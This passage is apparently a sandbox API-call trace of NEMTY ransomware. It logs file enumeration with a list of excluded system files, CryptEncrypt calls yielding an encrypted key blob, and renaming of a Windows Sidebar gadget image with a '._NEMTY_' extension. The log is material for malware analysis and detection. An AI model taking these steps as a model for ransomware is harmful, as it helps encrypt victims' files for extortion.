lpMultiByteStr="settings_box_right.png", lpUsedDefaultChar=0x0) returned 22 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0118.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0118.797] Sleep (dwMilliseconds=0x5) [0118.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa762cb0, dwHighDateTime=0x1d561e7)) [0118.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa762cb0, dwHighDateTime=0x1d561e7)) [0118.807] GetLastError () returned 0x5 [0118.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.807] GetLastError () returned 0x5 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.808] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0118.808] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="rnuLCH2pZw4DCJVxS6dlyVLDrodVHJwfYUKeJ7n2VVeYKzSlgPTe9oXyXv74C7yw\r\n1g/Hx+JfMyzB+0igdCa3sUB2duxm5rb6jgcrSEF7fjrQ/y3p36bdX2WmZUX9RYoo\r\nNuVU0/avfCOVSwzTy7YLRYPoWEjN+e2yG4t4gJduHEkaCIZKquyWj3VKusCoae5V\r\nyzViSGueSvgiURiVTLqVVJqU5v6kEXfiKIvoECOK2704BY9Tg7I0wlUstIf0ZgFQ\r\nSdc1uZcLMDX1O1OX8CkdQMz+aESEc2Zhf92Ue9WALQ41X2BsAoBGErgOXMuLbcMI\r\nVx7UCRaVfRGQsTqN7a67fA==\r\n", pcchString=0x653e91c) returned 1 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0118.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0118.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.808] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.809] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.837] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.837] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.884] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.915] CloseHandle (hObject=0xffffffff) returned 0 [0118.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0118.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0118.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_right.png._nemty_kgobjgd_")) returned 0 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.915] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0118.915] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".") returned 1 [0118.915] lstrcmpiW (lpString1="settings_box_top.png", lpString2="..") returned 1 [0118.915] lstrcmpiW (lpString1="settings_box_top.png", lpString2="...") returned 1 [0118.915] lstrcmpiW (lpString1="settings_box_top.png", lpString2="windows") returned -1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="$RECYCLE.BIN") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="rsa") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="NTDETECT.COM") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="ntldr") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="MSDOS.SYS") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="IO.SYS") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="boot.ini") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="boot.ini") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="ntuser.dat") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="desktop.ini") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="CONFIG.SYS") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="RECYCLER") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="BOOTSECT.BAK") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="bootmgr") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="programdata") returned 1 [0118.916] lstrcmpiW (lpString1="settings_box_top.png", lpString2="appdata") returned 1 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0118.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0118.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0118.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0118.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0118.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0118.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0118.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0118.917] Sleep (dwMilliseconds=0x5) [0118.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa8937b0, dwHighDateTime=0x1d561e7)) [0118.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa8937b0, dwHighDateTime=0x1d561e7)) [0118.932] GetLastError () returned 0x5 [0118.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.932] GetLastError () returned 0x5 [0118.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.933] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0118.933] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: 